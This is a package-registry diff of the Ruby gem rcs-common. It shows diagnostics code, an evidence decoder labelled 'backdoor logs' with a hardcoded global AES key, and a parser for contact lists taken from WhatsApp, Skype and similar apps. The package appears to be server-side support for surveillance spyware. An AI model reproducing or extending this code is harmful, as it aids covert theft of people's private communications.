rcs-common 9.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.gitignore +49 -0
- data/Gemfile +4 -0
- data/LICENSE.txt +1 -0
- data/Rakefile +27 -0
- data/lib/rcs-common.rb +21 -0
- data/lib/rcs-common/binary.rb +64 -0
- data/lib/rcs-common/cgi.rb +7 -0
- data/lib/rcs-common/component.rb +87 -0
- data/lib/rcs-common/crypt.rb +71 -0
- data/lib/rcs-common/deploy.rb +96 -0
- data/lib/rcs-common/diagnosticable.rb +136 -0
- data/lib/rcs-common/evidence.rb +261 -0
- data/lib/rcs-common/evidence/addressbook.rb +173 -0
- data/lib/rcs-common/evidence/application.rb +59 -0
- data/lib/rcs-common/evidence/calendar.rb +62 -0
- data/lib/rcs-common/evidence/call.rb +185 -0
- data/lib/rcs-common/evidence/camera.rb +25 -0
- data/lib/rcs-common/evidence/chat.rb +272 -0
- data/lib/rcs-common/evidence/clibpoard.rb +58 -0
- data/lib/rcs-common/evidence/command.rb +50 -0
- data/lib/rcs-common/evidence/common.rb +78 -0
- data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
- data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
- data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
- data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
- data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
- data/lib/rcs-common/evidence/device.rb +23 -0
- data/lib/rcs-common/evidence/download.rb +54 -0
- data/lib/rcs-common/evidence/exec.rb +0 -0
- data/lib/rcs-common/evidence/file.rb +129 -0
- data/lib/rcs-common/evidence/filesystem.rb +71 -0
- data/lib/rcs-common/evidence/info.rb +24 -0
- data/lib/rcs-common/evidence/keylog.rb +84 -0
- data/lib/rcs-common/evidence/mail.rb +237 -0
- data/lib/rcs-common/evidence/mic.rb +39 -0
- data/lib/rcs-common/evidence/mms.rb +36 -0
- data/lib/rcs-common/evidence/money.rb +676 -0
- data/lib/rcs-common/evidence/mouse.rb +62 -0
- data/lib/rcs-common/evidence/password.rb +60 -0
- data/lib/rcs-common/evidence/photo.rb +80 -0
- data/lib/rcs-common/evidence/position.rb +303 -0
- data/lib/rcs-common/evidence/print.rb +50 -0
- data/lib/rcs-common/evidence/screenshot.rb +53 -0
- data/lib/rcs-common/evidence/sms.rb +91 -0
- data/lib/rcs-common/evidence/url.rb +133 -0
- data/lib/rcs-common/fixnum.rb +48 -0
- data/lib/rcs-common/gridfs.rb +294 -0
- data/lib/rcs-common/heartbeat.rb +96 -0
- data/lib/rcs-common/keywords.rb +50 -0
- data/lib/rcs-common/mime.rb +65 -0
- data/lib/rcs-common/mongoid.rb +19 -0
- data/lib/rcs-common/pascalize.rb +62 -0
- data/lib/rcs-common/path_utils.rb +67 -0
- data/lib/rcs-common/resolver.rb +40 -0
- data/lib/rcs-common/rest.rb +17 -0
- data/lib/rcs-common/sanitize.rb +42 -0
- data/lib/rcs-common/serializer.rb +404 -0
- data/lib/rcs-common/signature.rb +141 -0
- data/lib/rcs-common/stats.rb +94 -0
- data/lib/rcs-common/symbolize.rb +10 -0
- data/lib/rcs-common/systemstatus.rb +136 -0
- data/lib/rcs-common/temporary.rb +13 -0
- data/lib/rcs-common/time.rb +24 -0
- data/lib/rcs-common/trace.rb +138 -0
- data/lib/rcs-common/trace.yaml +42 -0
- data/lib/rcs-common/updater/client.rb +354 -0
- data/lib/rcs-common/updater/dsl.rb +178 -0
- data/lib/rcs-common/updater/payload.rb +79 -0
- data/lib/rcs-common/updater/server.rb +126 -0
- data/lib/rcs-common/updater/shared_key.rb +55 -0
- data/lib/rcs-common/updater/tmp_dir.rb +13 -0
- data/lib/rcs-common/utf16le.rb +83 -0
- data/lib/rcs-common/version.rb +5 -0
- data/lib/rcs-common/winfirewall.rb +235 -0
- data/rcs-common.gemspec +64 -0
- data/spec/gridfs_spec.rb +637 -0
- data/spec/mongoid.yaml +6 -0
- data/spec/signature_spec.rb +105 -0
- data/spec/spec_helper.rb +22 -0
- data/spec/updater_spec.rb +80 -0
- data/tasks/deploy.rake +21 -0
- data/tasks/protect.rake +90 -0
- data/test/helper.rb +17 -0
- data/test/test_binary.rb +107 -0
- data/test/test_cgi.rb +14 -0
- data/test/test_crypt.rb +125 -0
- data/test/test_evidence.rb +52 -0
- data/test/test_evidence_manager.rb +119 -0
- data/test/test_fixnum.rb +35 -0
- data/test/test_keywords.rb +137 -0
- data/test/test_mime.rb +49 -0
- data/test/test_pascalize.rb +100 -0
- data/test/test_path_utils.rb +24 -0
- data/test/test_rcs-common.rb +7 -0
- data/test/test_sanitize.rb +40 -0
- data/test/test_serialization.rb +20 -0
- data/test/test_stats.rb +90 -0
- data/test/test_symbolize.rb +20 -0
- data/test/test_systemstatus.rb +35 -0
- data/test/test_time.rb +56 -0
- data/test/test_trace.rb +25 -0
- data/test/test_utf16le.rb +71 -0
- data/test/test_winfirewall.rb +68 -0
- metadata +423 -0
|
@@ -0,0 +1,136 @@
|
|
|
1
|
+
require 'sys/filesystem'
|
|
2
|
+
require 'rcs-common/fixnum'
|
|
3
|
+
|
|
4
|
+
module RCS
|
|
5
|
+
module Diagnosticable
|
|
6
|
+
def execution_directory
|
|
7
|
+
File.expand_path(Dir.pwd)
|
|
8
|
+
end
|
|
9
|
+
|
|
10
|
+
def log_path
|
|
11
|
+
File.expand_path("./log", execution_directory)
|
|
12
|
+
end
|
|
13
|
+
|
|
14
|
+
def grouped_logs(glob: "#{log_path}/*", deepness: 2)
|
|
15
|
+
groups = Hash.new { |h, k| h[k] = [] }
|
|
16
|
+
regexp = /(rcs\-.+)\_\d{4}-\d{2}-\d{2}\.log|(mongo..log)/
|
|
17
|
+
|
|
18
|
+
Dir[glob].each do |path|
|
|
19
|
+
filename = File.basename(path)
|
|
20
|
+
group_name = filename.scan(regexp).flatten.compact.first
|
|
21
|
+
groups[group_name] << path if group_name
|
|
22
|
+
end
|
|
23
|
+
|
|
24
|
+
groups.keys.each do |group_name|
|
|
25
|
+
groups[group_name].sort! { |p1, p2| File.mtime(p2).to_i <=> File.mtime(p1).to_i }
|
|
26
|
+
groups[group_name] = groups[group_name][0..deepness - 1]
|
|
27
|
+
end
|
|
28
|
+
|
|
29
|
+
groups
|
|
30
|
+
end
|
|
31
|
+
|
|
32
|
+
def pretty_print(hash, out = $stdout)
|
|
33
|
+
string = JSON.pretty_generate(hash)
|
|
34
|
+
string = hide_addresses(string)
|
|
35
|
+
out.write(string)
|
|
36
|
+
out.write("\n")
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
def change_trace_level(level)
|
|
40
|
+
trace_yaml = "#{execution_directory}/config/trace.yaml"
|
|
41
|
+
raise "Unable to find file #{trace_yaml}" unless File.exists?(trace_yaml)
|
|
42
|
+
content = File.read(trace_yaml)
|
|
43
|
+
content.gsub!(/(name\s*:\s*logfile\n\s*level\s*:\s*)[A-Z]+/, '\1'+level.to_s.upcase)
|
|
44
|
+
File.open(trace_yaml, "wb") { |f| f.write(content) }
|
|
45
|
+
end
|
|
46
|
+
|
|
47
|
+
def get_version_info
|
|
48
|
+
version = File.read("#{execution_directory}/config/VERSION")
|
|
49
|
+
build = File.read("#{execution_directory}/config/VERSION_BUILD")
|
|
50
|
+
return version, build
|
|
51
|
+
end
|
|
52
|
+
|
|
53
|
+
def relevant_logs
|
|
54
|
+
list = grouped_logs.values + grouped_logs(glob: "#{log_path}/err/*", deepness: 7).values
|
|
55
|
+
list.flatten!
|
|
56
|
+
list
|
|
57
|
+
end
|
|
58
|
+
|
|
59
|
+
def windows?
|
|
60
|
+
RbConfig::CONFIG['host_os'] =~ /mingw/
|
|
61
|
+
end
|
|
62
|
+
|
|
63
|
+
def os_lang
|
|
64
|
+
return unless windows?
|
|
65
|
+
result = `reg query \"HKLM\\system\\controlset001\\control\\nls\\language\" /v Installlanguage`
|
|
66
|
+
result.scan(/REG_SZ\s*(.{4})/).flatten.first
|
|
67
|
+
end
|
|
68
|
+
|
|
69
|
+
def command_output(name)
|
|
70
|
+
cmd = (name =~ /rcs\-/) ? "ruby #{execution_directory}/bin/#{name}" : name
|
|
71
|
+
output = `#{cmd}`
|
|
72
|
+
"Output of command #{name}\n#{output}\n\n"
|
|
73
|
+
end
|
|
74
|
+
|
|
75
|
+
def config_files
|
|
76
|
+
paths = []
|
|
77
|
+
%w[VERSION VERSION_BUILD certs/*.crt certs/*.pem certs/*.key *.yaml *.lic *.crt *.pem gapi].each do |glob|
|
|
78
|
+
paths += Dir["#{execution_directory}/config/#{glob}"]
|
|
79
|
+
end
|
|
80
|
+
paths.flatten!
|
|
81
|
+
paths.uniq!
|
|
82
|
+
paths
|
|
83
|
+
end
|
|
84
|
+
|
|
85
|
+
def machine_info
|
|
86
|
+
hash = {}
|
|
87
|
+
keys = %w[build_os build_vendor build_cpu build RUBY_VERSION_NAME]
|
|
88
|
+
hash['rbconfig'] = RbConfig::CONFIG.reject { |key| !keys.include?(key) }
|
|
89
|
+
hash['os_lang'] = os_lang
|
|
90
|
+
hash['gem_list'] = `gem list`.split("\n")
|
|
91
|
+
hash['ENV'] = ENV.reject { |key| !%w[RUBY_VERSION PWD].include?(key) }
|
|
92
|
+
|
|
93
|
+
fs = Sys::Filesystem.stat(windows? ? "#{Dir.pwd[0]+":\\"}" : "/")
|
|
94
|
+
|
|
95
|
+
hash['filesystem'] = {
|
|
96
|
+
'path' => fs.path,
|
|
97
|
+
'size' => (fs.blocks * fs.block_size).to_s_bytes,
|
|
98
|
+
'free' => (fs.blocks_free * fs.block_size).to_s_bytes,
|
|
99
|
+
}
|
|
100
|
+
hash
|
|
101
|
+
end
|
|
102
|
+
|
|
103
|
+
# Get the state (running, stopped, etc.) and the configuration information
|
|
104
|
+
# of all the Windows services that start with "RCS"
|
|
105
|
+
def services_state
|
|
106
|
+
states = ""
|
|
107
|
+
config = ""
|
|
108
|
+
|
|
109
|
+
`sc query state= all`.split("SERVICE_NAME:").each do |info|
|
|
110
|
+
name = info.scan(/\s*(.+)\n/).flatten.first
|
|
111
|
+
|
|
112
|
+
if name =~ /^rcs/i
|
|
113
|
+
state = info.scan(/STATE\s+:\s+\d+\s*(.+)\s*/).flatten.first
|
|
114
|
+
states << "#{name}: #{state}\n"
|
|
115
|
+
config << `sc qc #{name}`.scan(/SERVICE_NAME:\s*(.*)/m).flatten.last.to_s
|
|
116
|
+
end
|
|
117
|
+
end
|
|
118
|
+
|
|
119
|
+
return "#{states}\n#{config}"
|
|
120
|
+
end
|
|
121
|
+
|
|
122
|
+
def huge_log?(path)
|
|
123
|
+
File.size(path) > 52428800 # 50 megabytes
|
|
124
|
+
end
|
|
125
|
+
|
|
126
|
+
def hide_addresses(string)
|
|
127
|
+
if $options.respond_to?(:[]) and $options[:hide_addresses]
|
|
128
|
+
mask = "###.###.###.###"
|
|
129
|
+
string.gsub!(/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/, mask)
|
|
130
|
+
string.gsub!(/([a-zA-Z0-9\-\.]+)\:(4444|443|80|2701\d)/, mask+':\2')
|
|
131
|
+
end
|
|
132
|
+
|
|
133
|
+
string
|
|
134
|
+
end
|
|
135
|
+
end
|
|
136
|
+
end
|
|
@@ -0,0 +1,261 @@
|
|
|
1
|
+
#
|
|
2
|
+
# Evidence factory (backdoor logs)
|
|
3
|
+
#
|
|
4
|
+
|
|
5
|
+
# relatives
|
|
6
|
+
require_relative 'crypt'
|
|
7
|
+
require_relative 'time'
|
|
8
|
+
require_relative 'utf16le'
|
|
9
|
+
require_relative 'evidence/common'
|
|
10
|
+
|
|
11
|
+
# RCS::Common
|
|
12
|
+
require 'rcs-common/trace'
|
|
13
|
+
require 'rcs-common/crypt'
|
|
14
|
+
require 'rcs-common/utf16le'
|
|
15
|
+
|
|
16
|
+
# system
|
|
17
|
+
require 'securerandom'
|
|
18
|
+
|
|
19
|
+
Dir[File.dirname(__FILE__) + '/evidence/*.rb'].each do |file|
|
|
20
|
+
require file
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
module RCS
|
|
24
|
+
|
|
25
|
+
class Evidence
|
|
26
|
+
|
|
27
|
+
extend Crypt
|
|
28
|
+
include Crypt
|
|
29
|
+
include RCS::Tracer
|
|
30
|
+
|
|
31
|
+
attr_reader :binary
|
|
32
|
+
attr_reader :size
|
|
33
|
+
attr_reader :content
|
|
34
|
+
attr_reader :name
|
|
35
|
+
attr_reader :timestamp
|
|
36
|
+
attr_reader :info
|
|
37
|
+
attr_reader :version
|
|
38
|
+
attr_reader :type
|
|
39
|
+
attr_writer :info
|
|
40
|
+
|
|
41
|
+
GLOBAL_KEY = "\xab\x12\xcd\x34\xef\x56\x01\x23\x45\x67\x89\xab\xcd\xef\x00\x11"
|
|
42
|
+
|
|
43
|
+
def self.version_id
|
|
44
|
+
2008121901
|
|
45
|
+
end
|
|
46
|
+
|
|
47
|
+
#def clone
|
|
48
|
+
# return Evidence.new(@key, @info)
|
|
49
|
+
#end
|
|
50
|
+
|
|
51
|
+
def initialize(key)
|
|
52
|
+
@key = key
|
|
53
|
+
@version = Evidence.version_id
|
|
54
|
+
end
|
|
55
|
+
|
|
56
|
+
def extend_on_type(type)
|
|
57
|
+
extend instance_eval "#{type.to_s.capitalize}Evidence"
|
|
58
|
+
end
|
|
59
|
+
|
|
60
|
+
def extend_on_typeid(id)
|
|
61
|
+
extend_on_type EVIDENCE_TYPES[id]
|
|
62
|
+
end
|
|
63
|
+
|
|
64
|
+
def generate_header(type_id, info)
|
|
65
|
+
tlow, thigh = info[:da].to_filetime
|
|
66
|
+
deviceid_utf16 = info[:device_id].to_utf16le_binary
|
|
67
|
+
userid_utf16 = info[:user_id].to_utf16le_binary
|
|
68
|
+
sourceid_utf16 = info[:source_id].to_utf16le_binary
|
|
69
|
+
|
|
70
|
+
add_header = ''
|
|
71
|
+
|
|
72
|
+
if respond_to?(:additional_header)
|
|
73
|
+
header = info.delete(:header)
|
|
74
|
+
add_header = header ? additional_header(header) : additional_header
|
|
75
|
+
end
|
|
76
|
+
|
|
77
|
+
additional_size = add_header.bytesize
|
|
78
|
+
struct = [Evidence.version_id, type_id, thigh, tlow, deviceid_utf16.bytesize, userid_utf16.bytesize, sourceid_utf16.bytesize, additional_size]
|
|
79
|
+
header = struct.pack("I*")
|
|
80
|
+
|
|
81
|
+
header += deviceid_utf16
|
|
82
|
+
header += userid_utf16
|
|
83
|
+
header += sourceid_utf16
|
|
84
|
+
header += add_header.to_binary
|
|
85
|
+
|
|
86
|
+
return header
|
|
87
|
+
end
|
|
88
|
+
|
|
89
|
+
def align_to_block_len(len)
|
|
90
|
+
rest = len % 16
|
|
91
|
+
len += (16 - rest % 16) unless rest == 0
|
|
92
|
+
len
|
|
93
|
+
end
|
|
94
|
+
|
|
95
|
+
def encrypt(data)
|
|
96
|
+
rest = align_to_block_len(data.bytesize) - data.bytesize
|
|
97
|
+
data += "a" * rest
|
|
98
|
+
return aes_encrypt(data, @key, PAD_NOPAD)
|
|
99
|
+
end
|
|
100
|
+
|
|
101
|
+
def decrypt(data)
|
|
102
|
+
return aes_decrypt(data, @key, PAD_NOPAD)
|
|
103
|
+
end
|
|
104
|
+
|
|
105
|
+
def append_data(data, len = data.bytesize)
|
|
106
|
+
[len].pack("I") + data
|
|
107
|
+
end
|
|
108
|
+
|
|
109
|
+
# factory to create a random evidence
|
|
110
|
+
def generate(type, common_info)
|
|
111
|
+
@name = SecureRandom.hex(16)
|
|
112
|
+
info = Hash[common_info]
|
|
113
|
+
info[:da] = Time.now.utc
|
|
114
|
+
info[:type] = type
|
|
115
|
+
|
|
116
|
+
# extend class on requested type
|
|
117
|
+
extend_on_type info[:type]
|
|
118
|
+
|
|
119
|
+
# header
|
|
120
|
+
type_id = EVIDENCE_TYPES.invert[type]
|
|
121
|
+
header = generate_header(type_id, info)
|
|
122
|
+
@binary = append_data(encrypt(header))
|
|
123
|
+
|
|
124
|
+
# content
|
|
125
|
+
if respond_to? :generate_content
|
|
126
|
+
content = info.delete(:content)
|
|
127
|
+
chunks = content ? generate_content(content) : generate_content
|
|
128
|
+
chunks.each do | c |
|
|
129
|
+
@binary += append_data( encrypt(c), c.bytesize )
|
|
130
|
+
end
|
|
131
|
+
end
|
|
132
|
+
|
|
133
|
+
return self
|
|
134
|
+
end
|
|
135
|
+
|
|
136
|
+
def size
|
|
137
|
+
@binary.bytesize
|
|
138
|
+
end
|
|
139
|
+
|
|
140
|
+
# save the file in the specified dir
|
|
141
|
+
def dump_to_file(dir)
|
|
142
|
+
# dump the file (using the @name) in the 'dir'
|
|
143
|
+
File.open(dir + '/' + @name, "wb") do |f|
|
|
144
|
+
f.write(@binary)
|
|
145
|
+
end
|
|
146
|
+
end
|
|
147
|
+
|
|
148
|
+
# load an evidence from a file
|
|
149
|
+
def load_from_file(file)
|
|
150
|
+
# load the content of the file in @content
|
|
151
|
+
File.open(file, "rb") do |f|
|
|
152
|
+
@binary = f.read
|
|
153
|
+
@name = File.basename f
|
|
154
|
+
end
|
|
155
|
+
|
|
156
|
+
return self
|
|
157
|
+
end
|
|
158
|
+
|
|
159
|
+
def read_uint32(data)
|
|
160
|
+
data.read(4).unpack("L").shift
|
|
161
|
+
end
|
|
162
|
+
|
|
163
|
+
def empty?(binary_string, header_length)
|
|
164
|
+
(binary_string.size == header_length + 4)
|
|
165
|
+
end
|
|
166
|
+
|
|
167
|
+
def deserialize(data)
|
|
168
|
+
|
|
169
|
+
raise EvidenceDeserializeError.new("no content!") if data.nil?
|
|
170
|
+
binary_string = StringIO.new data
|
|
171
|
+
|
|
172
|
+
# header
|
|
173
|
+
header_length = read_uint32(binary_string)
|
|
174
|
+
|
|
175
|
+
# check if we need to apply the global key (evidence is being imported)
|
|
176
|
+
if (header_length & 0x80000000) == 0x80000000
|
|
177
|
+
trace :debug, "USING GLOBAL KEY FOR EVIDENCE DECODING!"
|
|
178
|
+
@key = GLOBAL_KEY
|
|
179
|
+
header_length &= ~0x80000000
|
|
180
|
+
end
|
|
181
|
+
|
|
182
|
+
# if empty evidence, raise
|
|
183
|
+
raise EmptyEvidenceError.new("empty evidence") if empty?(binary_string, header_length)
|
|
184
|
+
|
|
185
|
+
# decrypt header
|
|
186
|
+
header_string = StringIO.new decrypt(binary_string.read header_length)
|
|
187
|
+
@version = read_uint32(header_string)
|
|
188
|
+
@type_id = read_uint32(header_string)
|
|
189
|
+
time_h = read_uint32(header_string)
|
|
190
|
+
time_l = read_uint32(header_string)
|
|
191
|
+
host_size = read_uint32(header_string)
|
|
192
|
+
user_size = read_uint32(header_string)
|
|
193
|
+
ip_size = read_uint32(header_string)
|
|
194
|
+
additional_size = read_uint32(header_string)
|
|
195
|
+
|
|
196
|
+
# check that version is correct
|
|
197
|
+
raise EvidenceDeserializeError.new("mismatching version [expected #{Evidence.version_id}, found #{@version}]") unless @version == Evidence.version_id
|
|
198
|
+
|
|
199
|
+
common_info = Hash.new
|
|
200
|
+
common_info[:dr] = Time.new.getgm
|
|
201
|
+
common_info[:da] = Time.from_filetime(time_h, time_l).getgm
|
|
202
|
+
|
|
203
|
+
common_info[:device] = header_string.read(host_size).utf16le_to_utf8 unless host_size == 0
|
|
204
|
+
common_info[:device] ||= ''
|
|
205
|
+
common_info[:user] = header_string.read(user_size).utf16le_to_utf8 unless user_size == 0
|
|
206
|
+
common_info[:user] ||= ''
|
|
207
|
+
common_info[:source] = header_string.read(ip_size).utf16le_to_utf8 unless ip_size == 0
|
|
208
|
+
common_info[:source] ||= ''
|
|
209
|
+
|
|
210
|
+
# extend class depending on evidence type
|
|
211
|
+
begin
|
|
212
|
+
common_info[:type] = EVIDENCE_TYPES[ @type_id ].to_s.downcase
|
|
213
|
+
extend_on_type common_info[:type]
|
|
214
|
+
rescue Exception => e
|
|
215
|
+
puts e.message
|
|
216
|
+
raise EvidenceDeserializeError.new("unknown type => #{@type_id.to_s(16)}, #{e.message}")
|
|
217
|
+
end
|
|
218
|
+
|
|
219
|
+
additional_data = header_string.read additional_size if additional_size > 0
|
|
220
|
+
|
|
221
|
+
yield additional_data if block_given?
|
|
222
|
+
|
|
223
|
+
# split content to chunks
|
|
224
|
+
chunks = Array.new
|
|
225
|
+
if common_info[:type] == 'command'
|
|
226
|
+
chunks << [binary_string.read]
|
|
227
|
+
else
|
|
228
|
+
until binary_string.eof?
|
|
229
|
+
len = read_uint32(binary_string)
|
|
230
|
+
content = binary_string.read align_to_block_len(len)
|
|
231
|
+
|
|
232
|
+
decoded_chunk = nil
|
|
233
|
+
|
|
234
|
+
begin
|
|
235
|
+
decoded_chunk = StringIO.new(decrypt(content)).read(len)
|
|
236
|
+
rescue Exception => ex
|
|
237
|
+
yield(chunks.join) if block_given?
|
|
238
|
+
raise EvidenceDeserializeError.new("Unable to decrypt chunck #{chunks.size}. Expected length is #{len}, content bytesize is #{content.bytesize}. #{ex.message}")
|
|
239
|
+
end
|
|
240
|
+
|
|
241
|
+
chunks << decoded_chunk
|
|
242
|
+
end
|
|
243
|
+
end
|
|
244
|
+
|
|
245
|
+
yield chunks.join if block_given?
|
|
246
|
+
|
|
247
|
+
# decode additional header
|
|
248
|
+
if respond_to? :decode_additional_header and additional_size != 0
|
|
249
|
+
additional_info = decode_additional_header(additional_data)
|
|
250
|
+
common_info.merge!(additional_info)
|
|
251
|
+
end
|
|
252
|
+
|
|
253
|
+
# decode evidence body
|
|
254
|
+
evidences = Array.new
|
|
255
|
+
action = decode_content(common_info, chunks) {|ev| evidences << ev}
|
|
256
|
+
|
|
257
|
+
return evidences, action
|
|
258
|
+
end
|
|
259
|
+
end
|
|
260
|
+
|
|
261
|
+
end # RCS::
|
|
@@ -0,0 +1,173 @@
|
|
|
1
|
+
require 'rcs-common/evidence/common'
|
|
2
|
+
require 'rcs-common/serializer'
|
|
3
|
+
|
|
4
|
+
module RCS
|
|
5
|
+
|
|
6
|
+
module AddressbookEvidence
|
|
7
|
+
def content
|
|
8
|
+
fields = { :first_name => ["John", "Liza", "Bruno"].sample,
|
|
9
|
+
:last_name => ["Doe", "Rossi", "Bianchi"].sample,
|
|
10
|
+
:mobile_phone_number => "+393380123456",
|
|
11
|
+
:home_phone_number => "+39024567890",
|
|
12
|
+
:email_1 => "test@me.com"}
|
|
13
|
+
AddressBookSerializer.new.serialize fields
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
def generate_content
|
|
17
|
+
[ content ]
|
|
18
|
+
end
|
|
19
|
+
|
|
20
|
+
def decode_content(common_info, chunks)
|
|
21
|
+
stream = StringIO.new chunks.join
|
|
22
|
+
|
|
23
|
+
until stream.eof?
|
|
24
|
+
info = Hash[common_info]
|
|
25
|
+
info[:data] ||= Hash.new
|
|
26
|
+
|
|
27
|
+
contact = AddressBookSerializer.new.unserialize stream
|
|
28
|
+
|
|
29
|
+
info[:data][:name] = contact.name
|
|
30
|
+
info[:data][:contact] = contact.contact
|
|
31
|
+
info[:data][:info] = contact.info
|
|
32
|
+
info[:data][:program] = contact.program
|
|
33
|
+
info[:data][:type] = contact.type
|
|
34
|
+
info[:data][:handles] = contact.handles unless contact.handles.empty?
|
|
35
|
+
|
|
36
|
+
yield info if block_given?
|
|
37
|
+
end
|
|
38
|
+
:delete_raw
|
|
39
|
+
end
|
|
40
|
+
end # ::AddressbookEvidence
|
|
41
|
+
|
|
42
|
+
module IaddressbookEvidence
|
|
43
|
+
|
|
44
|
+
VERSION_2 = 0x10000000
|
|
45
|
+
CONTACTLIST = 0x0000C021
|
|
46
|
+
CONTACTFILE = 0x0000C022
|
|
47
|
+
|
|
48
|
+
LOCAL_CONTACT = 0x80000000
|
|
49
|
+
|
|
50
|
+
PROGRAM_WHATSAPP = 0x00000001
|
|
51
|
+
PROGRAM_SKYPE = 0x00000002
|
|
52
|
+
PROGRAM_VIBER = 0x00000004
|
|
53
|
+
PROGRAM_MESSAGES = 0x00000008
|
|
54
|
+
PROGRAM_LINE = 0x00000010
|
|
55
|
+
|
|
56
|
+
def content
|
|
57
|
+
header = StringIO.new
|
|
58
|
+
header.write [CONTACTLIST | VERSION_2].pack('L')
|
|
59
|
+
header.write [0].pack('L') # len (ignored)
|
|
60
|
+
header.write [1].pack('L') # num records
|
|
61
|
+
|
|
62
|
+
header.write [CONTACTFILE].pack('L')
|
|
63
|
+
header.write [LOCAL_CONTACT].pack('L') # flags
|
|
64
|
+
header.write [0].pack('L') # len (ignored)
|
|
65
|
+
|
|
66
|
+
name = "FirstName".to_utf16le_binary_null
|
|
67
|
+
write_name(header, name)
|
|
68
|
+
|
|
69
|
+
name = "LastName".to_utf16le_binary_null
|
|
70
|
+
write_name(header, name)
|
|
71
|
+
|
|
72
|
+
header.write [CONTACTFILE].pack('L')
|
|
73
|
+
header.write [1].pack('L') # num_contacts
|
|
74
|
+
|
|
75
|
+
name = "+39123456789".to_utf16le_binary_null
|
|
76
|
+
write_number(header, name)
|
|
77
|
+
|
|
78
|
+
header.string
|
|
79
|
+
end
|
|
80
|
+
|
|
81
|
+
def generate_content
|
|
82
|
+
[content]
|
|
83
|
+
end
|
|
84
|
+
|
|
85
|
+
def decode_content(common_info, chunks)
|
|
86
|
+
stream = StringIO.new chunks.join
|
|
87
|
+
|
|
88
|
+
# ABLogStruct
|
|
89
|
+
magic_ver = read_uint32 stream
|
|
90
|
+
raise EvidenceDeserializeError.new("invalid log version for IADDRESSBOOK [#{magic_ver} != #{CONTACTLIST}]") unless magic_ver == CONTACTLIST or magic_ver == (CONTACTLIST | VERSION_2)
|
|
91
|
+
|
|
92
|
+
stream.read(4) # len, ignore
|
|
93
|
+
num_records = read_uint32 stream
|
|
94
|
+
|
|
95
|
+
(0..num_records-1).each do |i|
|
|
96
|
+
|
|
97
|
+
info = Hash[common_info]
|
|
98
|
+
info[:data] ||= Hash.new
|
|
99
|
+
info[:data][:program] = :phone
|
|
100
|
+
|
|
101
|
+
# ABFile
|
|
102
|
+
magic = read_uint32 stream
|
|
103
|
+
raise EvidenceDeserializeError.new("invalid log version for IADDRESSBOOK [#{magic} != #{CONTACTFILE}]") unless magic == CONTACTFILE
|
|
104
|
+
flags = read_uint32(stream) if (magic_ver & VERSION_2 != 0)
|
|
105
|
+
|
|
106
|
+
info[:data][:type] = :target if (flags & LOCAL_CONTACT != 0)
|
|
107
|
+
info[:data][:program] = :whatsapp if (flags & PROGRAM_WHATSAPP != 0)
|
|
108
|
+
info[:data][:program] = :skype if (flags & PROGRAM_SKYPE != 0)
|
|
109
|
+
info[:data][:program] = :viber if (flags & PROGRAM_VIBER != 0)
|
|
110
|
+
info[:data][:program] = :line if (flags & PROGRAM_LINE != 0)
|
|
111
|
+
info[:data][:program] = :messages if (flags & PROGRAM_MESSAGES != 0)
|
|
112
|
+
|
|
113
|
+
len = read_uint32 stream
|
|
114
|
+
|
|
115
|
+
#ABName (first name)
|
|
116
|
+
first_name = read_name(stream)
|
|
117
|
+
|
|
118
|
+
#ABName (last name)
|
|
119
|
+
last_name = read_name(stream)
|
|
120
|
+
|
|
121
|
+
info[:data][:name] = "#{first_name} #{last_name}"
|
|
122
|
+
|
|
123
|
+
#ABContacts
|
|
124
|
+
magic = read_uint32 stream
|
|
125
|
+
num_contacts = read_uint32 stream
|
|
126
|
+
|
|
127
|
+
(0..num_contacts-1).each do |i|
|
|
128
|
+
type, number = read_number(stream)
|
|
129
|
+
case type
|
|
130
|
+
when 0
|
|
131
|
+
info[:data][:info] ||= number.delete(' ')
|
|
132
|
+
info[:data][:handle] = number.delete(' ')
|
|
133
|
+
else
|
|
134
|
+
info[:data][:info] += "#{number}\n"
|
|
135
|
+
end
|
|
136
|
+
end
|
|
137
|
+
|
|
138
|
+
trace :debug, "IADDRESSBOOK #{info[:data]}"
|
|
139
|
+
|
|
140
|
+
yield info if block_given?
|
|
141
|
+
end
|
|
142
|
+
|
|
143
|
+
:keep_raw
|
|
144
|
+
end
|
|
145
|
+
|
|
146
|
+
def read_name(stream)
|
|
147
|
+
magic = read_uint32 stream
|
|
148
|
+
len = read_uint32 stream
|
|
149
|
+
stream.read(len).utf16le_to_utf8
|
|
150
|
+
end
|
|
151
|
+
|
|
152
|
+
def write_name(stream, name)
|
|
153
|
+
stream.write [CONTACTFILE].pack('L')
|
|
154
|
+
stream.write [name.bytesize].pack('L')
|
|
155
|
+
stream.write name
|
|
156
|
+
end
|
|
157
|
+
|
|
158
|
+
def read_number(stream)
|
|
159
|
+
magic = read_uint32 stream
|
|
160
|
+
type = read_uint32 stream
|
|
161
|
+
name = read_name(stream)
|
|
162
|
+
return type, name
|
|
163
|
+
end
|
|
164
|
+
|
|
165
|
+
def write_number(stream, number)
|
|
166
|
+
stream.write [CONTACTFILE].pack('L')
|
|
167
|
+
stream.write [0].pack('L') # type
|
|
168
|
+
write_name(stream, number)
|
|
169
|
+
end
|
|
170
|
+
|
|
171
|
+
end # ::IAddressbookEvidence
|
|
172
|
+
|
|
173
|
+
end # ::RCS
|